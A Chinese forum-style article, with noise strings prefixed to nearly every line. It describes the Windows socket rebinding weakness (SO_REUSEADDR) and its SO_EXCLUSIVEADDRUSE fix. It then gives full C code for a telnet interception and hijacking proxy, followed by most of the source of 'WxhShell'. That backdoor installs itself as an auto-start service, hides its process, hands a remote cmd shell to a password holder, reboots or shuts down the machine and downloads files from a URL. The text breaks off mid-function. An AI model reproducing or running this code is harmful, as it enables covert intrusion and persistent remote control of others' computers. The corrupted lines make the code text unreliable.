在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
p)biOG s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
r1!1u7dr
t ]V"P
&;m saddr.sin_family = AF_INET;
l7`{ O/hN a (U52dO, saddr.sin_addr.s_addr = htonl(INADDR_ANY);
[?K>s>it [>ghs_?dZ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
; Y/nS j!+jLm!l 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
%q5dV<X'c [,;Y5#Y[5 这意味着什么?意味着可以进行如下的攻击:
T Q41i/{ .7Mf(1: 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
7hJX _E'?U 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
CL0lMZ 9NTNulD>P 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
8LV6E5Q /2Izj/Q 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
UPtj@gtcY `v-[& 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
.xIAep_ nJI2IPZ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
8AR8u!;8 1!uBzO6/$ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
(xgw';g ?]><#[?'L #include
]>M\|,wh #include
"B'c;0@q #include
>0HH#JW #include
WK|5:V8E DWORD WINAPI ClientThread(LPVOID lpParam);
T"xJY#)} int main()
/r4l7K {
XFWpHe_ L WORD wVersionRequested;
p]L]=-(qI DWORD ret;
[!uzXVS3 WSADATA wsaData;
@i#JlZM_ BOOL val;
B:h<iU:'D SOCKADDR_IN saddr;
|_?e.}K SOCKADDR_IN scaddr;
HOx4FXPs int err;
oq7G=8gTp SOCKET s;
C1^%!) SOCKET sc;
AM+5_'S, int caddsize;
kQkc+sGJf HANDLE mt;
36.,:!%p DWORD tid;
@gN"Q\;F wVersionRequested = MAKEWORD( 2, 2 );
O2fq9%lk err = WSAStartup( wVersionRequested, &wsaData );
Avw=*ZW if ( err != 0 ) {
///Lg{ie printf("error!WSAStartup failed!\n");
:M(uP e=D return -1;
Sp>g77@ }
!E$$FvL saddr.sin_family = AF_INET;
n])#<0 Wt/;iq" //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
2E }vuw=c z~Q=OPCnY saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
aL1%BGlmZ< saddr.sin_port = htons(23);
-nSf< if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
z&;8pZr {
exq5Z c% printf("error!socket failed!\n");
mx^Ga=:
? return -1;
\3hA_{ w }
^QNc!{` val = TRUE;
=~
Uhr6Q //SO_REUSEADDR选项就是可以实现端口重绑定的
tp`1S+'~j if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
??F* Z" x {
xhP~]akHN7 printf("error!setsockopt failed!\n");
ZiUb+;JA return -1;
R;DU68R }
vRe{B7}p; //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
F! =l
r //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
+W4}&S //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
OZ\6qMH3e ",,# q if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Mj;V.Y {
m*m),mZ" ret=GetLastError();
-,bnj^L printf("error!bind failed!\n");
uw \@~ ,d return -1;
#gbB// < }
2 .3_FXSt listen(s,2);
[6a-d>e{ while(1)
EHUx~Q
{
{ b$"SIg1E caddsize = sizeof(scaddr);
n^nE&'[?0g //接受连接请求
f\_RW;y|m sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
B@F@,?K4% if(sc!=INVALID_SOCKET)
FJeh=\ {
@jn&Wf? mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
nL
5tHz:e if(mt==NULL)
AM-bs^ {
-PV1x1| printf("Thread Creat Failed!\n");
x*Z'i<;B break;
)9H5'Wh# }
%mC@} }
ny{C,1QG CloseHandle(mt);
L('1NN2 }
$e+sqgU closesocket(s);
7I;kh`H$(f WSACleanup();
aDdxR: return 0;
*$=i1w }
LwB1~fF DWORD WINAPI ClientThread(LPVOID lpParam)
M
FIb-*wT {
cK'g2S SOCKET ss = (SOCKET)lpParam;
!Ubm 586! SOCKET sc;
necY/&Ld- unsigned char buf[4096];
2iNLm6" SOCKADDR_IN saddr;
W{;Qi&^ca long num;
~YH?wdT DWORD val;
E`TZ:W]r, DWORD ret;
?W'z5'| //如果是隐藏端口应用的话,可以在此处加一些判断
nkHl;;WJ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
!R8%C!=a saddr.sin_family = AF_INET;
s!(R saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
L3{(Bu saddr.sin_port = htons(23);
2Wzx1_D"a if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
HTh?&u\QG {
[|:{qQyD printf("error!socket failed!\n");
zyS8LZ-y9 return -1;
uZ?P{E,K }
.\caRb[ val = 100;
]nsjYsT if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
D_lRYLA+ {
dWd%>9}
ret = GetLastError();
;g0s1nz return -1;
rMwa6ZO'm; }
XmQ;Roe if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
n=!T(Hk {
yX!fj\R ret = GetLastError();
== wX.y\.n return -1;
u[)X="-e# }
m4m-JD|v if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
B''yW{ {
^
9+
Qxv printf("error!socket connect failed!\n");
%DSr@IX closesocket(sc);
hi,="
/9 closesocket(ss);
b/_Zw^DPC return -1;
`Moo WG }
SRfh{u while(1)
m]?Z_*1 {
6La[( ) //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
kQ>2W5o-d- //如果是嗅探内容的话,可以再此处进行内容分析和记录
^t'mW;C$4 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
eC5*Q=ai, num = recv(ss,buf,4096,0);
p-$C*0{ if(num>0)
z)T-<zWO; send(sc,buf,num,0);
qy|bOl else if(num==0)
{\5(aQ)Vi5 break;
#R5\k-I num = recv(sc,buf,4096,0);
StJb-K/_cL if(num>0)
+Q+O$-a< send(ss,buf,num,0);
N|i>|2EB else if(num==0)
4<[?qd3v= break;
eV"%(<{ }
K e4oLF2 closesocket(ss);
oB 1Qw'J
w closesocket(sc);
wm@j(h4 return 0 ;
Onx6Fy]L }
lfAy$qP"} $$ND]qM$M Iynks,ikA ==========================================================
2BC!,e$Z qlcd[Y*B 下边附上一个代码,,WXhSHELL
_\>y[e["p Lc~m`=B ==========================================================
x/<ow4C mW{;$@PLF" #include "stdafx.h"
GXZ="3W | 437Wy+Q|e #include <stdio.h>
.OJGo<#$f #include <string.h>
|V5BL<4 #include <windows.h>
.
Z&5TK4I #include <winsock2.h>
r $S9/ #include <winsvc.h>
2xN7lfu1RB #include <urlmon.h>
uL)MbM] g/C 7wc #pragma comment (lib, "Ws2_32.lib")
|&@q$d #pragma comment (lib, "urlmon.lib")
%uo8z~+ j#f/M3 #define MAX_USER 100 // 最大客户端连接数
6Y2,fW8i, #define BUF_SOCK 200 // sock buffer
)?[2Y%P #define KEY_BUFF 255 // 输入 buffer
L9/'zhiZBx )FwOg;=3M" #define REBOOT 0 // 重启
9we];RYK #define SHUTDOWN 1 // 关机
'`upSJ;e <l1/lm<# #define DEF_PORT 5000 // 监听端口
XI`_PQco \!-]$&,j4 #define REG_LEN 16 // 注册表键长度
-}m #define SVC_LEN 80 // NT服务名长度
W^elzN(
G5qsnTxUJ // 从dll定义API
EG\L]fmD typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
<uIPv
Zsx typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
O5du3[2x7a typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
sA6Hk B. typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
|6NvByc, :vi %7 // wxhshell配置信息
]/!*^;cY( struct WSCFG {
Q+f|.0r int ws_port; // 监听端口
2>"{El|PbN char ws_passstr[REG_LEN]; // 口令
HV!P]82Pa int ws_autoins; // 安装标记, 1=yes 0=no
.:H'9QJg char ws_regname[REG_LEN]; // 注册表键名
%;4#?.W8 char ws_svcname[REG_LEN]; // 服务名
_3
[E$Lg char ws_svcdisp[SVC_LEN]; // 服务显示名
"|i1 AR:I char ws_svcdesc[SVC_LEN]; // 服务描述信息
5S? "<+J' char ws_passmsg[SVC_LEN]; // 密码输入提示信息
UP-2{zb |? int ws_downexe; // 下载执行标记, 1=yes 0=no
9>+>s ?IgK char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
x/1FQ>n:9 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
zpT{!V `T[yyOL/ };
[vtDtwL ?bd!JW bg` // default Wxhshell configuration
Mxz
X@GBX struct WSCFG wscfg={DEF_PORT,
,~;`@ "xuhuanlingzhe",
36'J9h\ 1,
rKPsv*w "Wxhshell",
}c/#WA|b "Wxhshell",
lJa-O "WxhShell Service",
_`Kh8G
{e "Wrsky Windows CmdShell Service",
~b8.]Z^ "Please Input Your Password: ",
BfCib]V9C 1,
=SJ[)| "
http://www.wrsky.com/wxhshell.exe",
|QzJHP @ "Wxhshell.exe"
'
Sd&I:? };
ZHen: zX=%BL? // 消息定义模块
_BG`!3U+ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
)FB<gCh7X char *msg_ws_prompt="\n\r? for help\n\r#>";
y~_x char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Iy5W/QK6 char *msg_ws_ext="\n\rExit.";
Q
m9b:U~ char *msg_ws_end="\n\rQuit.";
xG~-. char *msg_ws_boot="\n\rReboot...";
DvEII'-h char *msg_ws_poff="\n\rShutdown...";
#euOq char *msg_ws_down="\n\rSave to ";
j5Yli6r?3- M-Nn \h$, char *msg_ws_err="\n\rErr!";
>VjtKSN char *msg_ws_ok="\n\rOK!";
f].z. z=k*D^X char ExeFile[MAX_PATH];
ZbH6$2r int nUser = 0;
>&<D.lx HANDLE handles[MAX_USER];
,_,7cor int OsIsNt;
z"5e3w (`n*d3 SERVICE_STATUS serviceStatus;
tSDp>0yZ3 SERVICE_STATUS_HANDLE hServiceStatusHandle;
#oGvxc7 "6$+B/5 // 函数声明
g 'L$m| int Install(void);
TuMZHB7h; int Uninstall(void);
AO$aW yI int DownloadFile(char *sURL, SOCKET wsh);
^1}ffE(3> int Boot(int flag);
hy"p8j7_ void HideProc(void);
I |D]NY^ int GetOsVer(void);
# 9f
4{=\ int Wxhshell(SOCKET wsl);
n O}x,sG2' void TalkWithClient(void *cs);
jM@@N. int CmdShell(SOCKET sock);
d\z':d.Tt int StartFromService(void);
43J8PMY int StartWxhshell(LPSTR lpCmdLine);
}=3W(1cu- HSl$ U0 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
]*S_fme VOID WINAPI NTServiceHandler( DWORD fdwControl );
uuhvd h= 1 _W5@) // 数据结构和表定义
Qe/=(P< SERVICE_TABLE_ENTRY DispatchTable[] =
Hi{!<e2 {
L3Q1az!Ct {wscfg.ws_svcname, NTServiceMain},
_Q;M$.[zyR {NULL, NULL}
CQY/q@7 };
$PbN=@ Y@'1}=`J // 自我安装
"ZVBn!
int Install(void)
P3XP=G`E {
( Gxv?\ char svExeFile[MAX_PATH];
j1toV$)P HKEY key;
1/qiE{NW strcpy(svExeFile,ExeFile);
[laX~(ND{ 0H.B>:pv // 如果是win9x系统,修改注册表设为自启动
kqAQrg]n if(!OsIsNt) {
&sA6o"h~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
~pSD| WX RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
o:Z*F0qm RegCloseKey(key);
.J\U|r if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
>-y&k^a= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
<Q-ufF85) RegCloseKey(key);
Mz{ Rh+gS return 0;
!"J* }
tbv6-)Hs }
g?o$:>c }
/[#{#:lo2 else {
L@R%*-a I0jEhg%JZ // 如果是NT以上系统,安装为系统服务
Iei4yDv ; SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
LRd,7P if (schSCManager!=0)
XWy
iS\ {
v:T` D SC_HANDLE schService = CreateService
8UL:C?eY (
.}y
Lz schSCManager,
#WpO9[b> wscfg.ws_svcname,
Z*e7W O. wscfg.ws_svcdisp,
t@19a6:Co SERVICE_ALL_ACCESS,
7iJk0L$]x SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
.r*b+rc;] SERVICE_AUTO_START,
iii$)4V SERVICE_ERROR_NORMAL,
M[*:=C)H svExeFile,
't_=%^q NULL,
TAC\2*bWje NULL,
LP)mp cQ NULL,
"RX?"pB NULL,
{}^ELw NULL
x!.VWG tb );
FZ2-e if (schService!=0)
hJ4.: {
qK1V!a2 CloseServiceHandle(schService);
>a-+7{}; CloseServiceHandle(schSCManager);
`y6l^ep strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
ez5`B$$ strcat(svExeFile,wscfg.ws_svcname);
d<b,LD^ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
E:E&Wv?r RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
=L
wX+c RegCloseKey(key);
# nYGKZ return 0;
YV940A-n }
qiF~I0_0 }
t@ JPnA7~ CloseServiceHandle(schSCManager);
?RzT0HRd }
X9gC2iSs] }
~D=@4(f8| dO// return 1;
yEqmB4^- }
7ER 2h* f}'gg // 自我卸载
^{K8uN7 int Uninstall(void)
qL+y8* {
(Mm{"J3uv HKEY key;
*nW9)T 8k`zMT if(!OsIsNt) {
(MIw$)#^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
xR&,QrjQG RegDeleteValue(key,wscfg.ws_regname);
dS&8R1\>1 RegCloseKey(key);
jRkq^} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
=U2Te RegDeleteValue(key,wscfg.ws_regname);
eo_T.q RegCloseKey(key);
1DcarF return 0;
k51s*U6= }
O({_x@ }
O]g+z$2o }
-9*WQU9R else {
l9ihW^ B;~agr SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
_Lb& 2PAG if (schSCManager!=0)
*pD;AU {
`^_: SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
lmcDA,7 if (schService!=0)
`k|nf9_ {
`s_TY%&_}g if(DeleteService(schService)!=0) {
^Q,/C8qeb CloseServiceHandle(schService);
~+C#c,Nw CloseServiceHandle(schSCManager);
,;-*q}U return 0;
L K~, }
Qd4T?5 vG CloseServiceHandle(schService);
&P3vcB }
[;f"',)y, CloseServiceHandle(schSCManager);
^aW[~ c }
8)!;[G| }
,7g;r_qwA m8PB2h return 1;
NFc8"7Mz} }
"'#Hh&Us tp^'W7E // 从指定url下载文件
U}0/V
c26 int DownloadFile(char *sURL, SOCKET wsh)
S%fBt?-Cm {
@#tSx HRESULT hr;
T_Y }1n|7[ char seps[]= "/";
{@$3bQ char *token;
6<Wr
8u, char *file;
j[`?`RyU char myURL[MAX_PATH];
m6cW char myFILE[MAX_PATH];
[AzN&yACE fNJ;{ strcpy(myURL,sURL);
%4Zy1{yKs_ token=strtok(myURL,seps);
jf/9]`Hf while(token!=NULL)
k#) .E X {
$IT9@}*{ file=token;
wcf_5T token=strtok(NULL,seps);
ACYn87tq }
;alFK*K6 bVHi3=0{ GetCurrentDirectory(MAX_PATH,myFILE);
m_ m@>}ud strcat(myFILE, "\\");
OP}p;( strcat(myFILE, file);
\AzcW;03g[ send(wsh,myFILE,strlen(myFILE),0);
AyO|9!F@A send(wsh,"...",3,0);
_[o^23Hj hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
K:@=W1 if(hr==S_OK)
I}IW!K return 0;
2QRn
c" else
|=T<WU1$ return 1;
q*nz4QTOE Gnt!!1_8L }
uP2a\C,$ odf^W
// 系统电源模块
,P@-DDJ int Boot(int flag)
DZ.trtK {
0QqzS HANDLE hToken;
HjS^
nYl TOKEN_PRIVILEGES tkp;
kG$8E =+S3S{\CK if(OsIsNt) {
!@Lc/'w OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
CHit
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
E57{*C tkp.PrivilegeCount = 1;
1<`7MN tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
p\;)^O4 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
~J{[]wi if(flag==REBOOT) {
=Zy!',,d,9 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
E_1I|$ return 0;
A]%t0>EL< }
arKmc@"X else {
"|*Kf# if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Pm(:M:a return 0;
uE`|0 }
:$c:3~ }
h)^A3;2F else {
eI rmD if(flag==REBOOT) {
yWi0tE{ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
:qTcxzV return 0;
(<ZkmIXN }
1DtMY|wP else {
T}Vpy` if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
X6GkJ
R return 0;
$uK"@Mw }
kseJm+Hc }
&Z!K]OSY H&Y{jqua return 1;
Y*cJ4hQ }
>-5Gt SuH.lCF-g // win9x进程隐藏模块
M6iO8vY void HideProc(void)
yL
x .#kx6 {
vSC0D7BlG L2.`1Aag HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
.`>l.gmi& if ( hKernel != NULL )
q,+kPhHEgy {
t`YZ)>Ws pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
aC~n:0v ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
*8.@aX3 FreeLibrary(hKernel);
]_: TrH }
kefv=n*]l N^(lUba return;
l()MYuLNV }
2, "q_d'V ,,gLrVk // 获取操作系统版本
N46$EsO!h int GetOsVer(void)
vd7N&c9 {
0$L0fhw. OSVERSIONINFO winfo;
!_-sTZ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
795Jwv GetVersionEx(&winfo);
.A7tq if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
R 4$Q3vcH return 1;
+i@yZfT else
5Sjr6l3Vq8 return 0;
sC5uA
.?>9 }
4!~
.6cp3 Qj<{oZp& // 客户端句柄模块
YG 5Z8@kH int Wxhshell(SOCKET wsl)
lAn+gDP {
Q|=
Q]$d SOCKET wsh;
G9n /S=R? struct sockaddr_in client;
=PFR{=F DWORD myID;
LX\*4[0%K xJ2O4ob while(nUser<MAX_USER)
,)rZAI {
'*N9"C int nSize=sizeof(client);
l P$r
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
8\)U|/A7 if(wsh==INVALID_SOCKET) return 1;
iQ|,&K0d] Zp(=[n5 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
yI.}3y{^5 if(handles[nUser]==0)
nJ*mEB closesocket(wsh);
'`]n_$f' else
De
nt? nUser++;
Awa|rIM }
|v$%V#Bo WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
\YlF>{LVe UhSh(E8p> return 0;
71l"m^Z3zy }
MzR1<W{ O VqClM // 关闭 socket
y^!E " void CloseIt(SOCKET wsh)
cF_;hD|YZ {
FS`vK`' closesocket(wsh);
Dpdn%8+Z nUser--;
<cDKGd ExitThread(0);
yD[zzEuQ }
fEj9R@u+h g>!:U6K // 客户端请求句柄
vdH+>l void TalkWithClient(void *cs)
jKj=#O {
sArje(5Eo t8AkdSU0 SOCKET wsh=(SOCKET)cs;
p<HTJ0 char pwd[SVC_LEN];
NDRW char cmd[KEY_BUFF];
XatA8(_,5 char chr[1];
Cgz&@@j,] int i,j;
^$=tcoQG e|b~[|;*= while (nUser < MAX_USER) {
`&u<aLA [Y22Wi if(wscfg.ws_passstr) {
Jm %ynW if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
i!Dh&XT //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
!_U37Uj<m //ZeroMemory(pwd,KEY_BUFF);
[arTx^ i=0;
<o&o=Y8 while(i<SVC_LEN) {
DIG0:)4R. Jtp>m?1Ve // 设置超时
[;?"R-V"z fd_set FdRead;
jcEs10y struct timeval TimeOut;
f`hyYp`d5 FD_ZERO(&FdRead);
egI{!bZg'\ FD_SET(wsh,&FdRead);
R%b*EBZ TimeOut.tv_sec=8;
1m>^{u TimeOut.tv_usec=0;
Ig1lol:; int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
QN_)3lm if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
!Tn0M; qnq%mwDeD if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
mW~i
c pwd
=chr[0]; u/gm10<OWa
if(chr[0]==0xd || chr[0]==0xa) { =PNdP
pwd=0; ]{IR&{EI-
break; Yzj%{fkh
} ,8c
dXt
i++; =5y`(0 I`U
} B*?ZE4`
Hva2j<h
// 如果是非法用户,关闭 socket &l.x:eD
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); y$IaXr5L
} (O8,zqP9l
L!;^#g
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6P;o 6s
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -6rf( ER
4 ,p#:!
while(1) { eM?rc55|
ta&Q4v&-
ZeroMemory(cmd,KEY_BUFF); N9i}p^F<_
5%<TF.;-J
// 自动支持客户端 telnet标准 7$(_j<o`
j=0; 'FShNY5
while(j<KEY_BUFF) { |x &Z~y
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XVQL.A7
cmd[j]=chr[0]; ?^LG
hdR
if(chr[0]==0xa || chr[0]==0xd) { YF}9k
cmd[j]=0; 8#+`9GI
break; .Qd}.EG
} hzaLx8L
j++; :3*`IB !
} )fNGB]%
q}>M& *
// 下载文件 9c#lLKrzG
if(strstr(cmd,"http://")) { RK?jtb=&A
send(wsh,msg_ws_down,strlen(msg_ws_down),0); xN6?yr
if(DownloadFile(cmd,wsh)) It%T7
X#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); o;3j:#3 |
else za,6du6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fC_zX}3
} #hIEEkCp +
else { 5pO]vBT
hzaU8kb
switch(cmd[0]) { cX2$kIs;
__8&Jv\
// 帮助 KzV.+f
case '?': { FyCBNtCv
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !0`lu_ZN
break; vx'l>@]k
} #`/bQ~s
// 安装 sNL+F
case 'i': { s4(Wp3>3i
if(Install()) $h,d?
.u6w
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZQ|5W6c
else <BSSa`N`
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aZ$/<|y~:_
break; Ujf,6=M
} /K f L+"^|
// 卸载 iBucT"d]
case 'r': { 5i6VZv
if(Uninstall()) (I[s3EnhS
send(wsh,msg_ws_err,strlen(msg_ws_err),0); > 84e`aGE
else
4bnt=5]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
R6 ;jY/*#
break; \fTTkpM
} fTBVvY4(
// 显示 wxhshell 所在路径 k!&:(]
case 'p': { z^'n*h
char svExeFile[MAX_PATH]; 7m\vRMK
strcpy(svExeFile,"\n\r"); {t&*>ma6)
strcat(svExeFile,ExeFile); d [r-k 2
send(wsh,svExeFile,strlen(svExeFile),0); J<rlz5':
break; :i.t)ES
}
m;c3Z-
// 重启 6Z Xu,ks}
case 'b': { x.ba|:5
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hqL+_|DW
if(Boot(REBOOT)) 8yn4}`Nc@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); M;qBDT~)
else { I`NUurQTX
closesocket(wsh); ?z3]
ExitThread(0); DY8(g=TI|1
} GLCAiSMz[
break; s'TY[
} JRXRi*@
// 关机 Apmw6cc
case 'd': { K U$`!h
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /HZv
if(Boot(SHUTDOWN)) RpYcD
send(wsh,msg_ws_err,strlen(msg_ws_err),0); T<P0T<
else { `%Q&</X
closesocket(wsh); 6AAswz'$P
ExitThread(0); zZ:xEc
} w-ALCh8o
break; Fwb5u!_,
} aZ6'|S;
// 获取shell <6/= y1QC)
case 's': { FI$XSG
CmdShell(wsh); grspt}
closesocket(wsh); t{zBC?cR
ExitThread(0); >OK#n)U`
break; z3W3=@
} ET. dI.R8
// 退出 hCAZ{+`z
case 'x': { KzNm^^#/$A
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *1$
CloseIt(wsh); P_&p=${
break; nM8[
} wG8
nw;
// 离开 0elxA8Z~e
case 'q': { vQgq]mA?
send(wsh,msg_ws_end,strlen(msg_ws_end),0); BZ+;n
|<r
closesocket(wsh); JaI Kjn
WSACleanup(); _w>uI57U
exit(1); V&%C\ns4
break; a.q;_5\5`
} +Ofa#^5);K
} <bP#H
} cI:-Z{M7z
m*dNrG
// 提示信息 H:Y&OZ
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [1SMg$@<
} |cgui
} cS(;Qs]Q
k"0;D-lTZ>
return; 0e16Ow6\!1
} 8vSIf+
hF>u)%J/S
// shell模块句柄 Juu+vMn1
int CmdShell(SOCKET sock) R%"K
{ id?E)Jy
STARTUPINFO si; OhFW*v
ZeroMemory(&si,sizeof(si)); "(f`U.
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
oL-2qtv
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; RgZOt[!.
PROCESS_INFORMATION ProcessInfo; Hhl-E:"H`
char cmdline[]="cmd"; /8c&Axuv
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R/~,i;d>
return 0; 0%#\w*X8
} G\kpUdj}
|>+uw|LtZ
// 自身启动模式 59lj7
int StartFromService(void) sJU`u'w
{
qybxXK:
typedef struct
^2C>L}
{ 8:dQ._#v
DWORD ExitStatus; [Y8S[YY
DWORD PebBaseAddress; q7_+}"i
DWORD AffinityMask; 0BK5qz
DWORD BasePriority; y
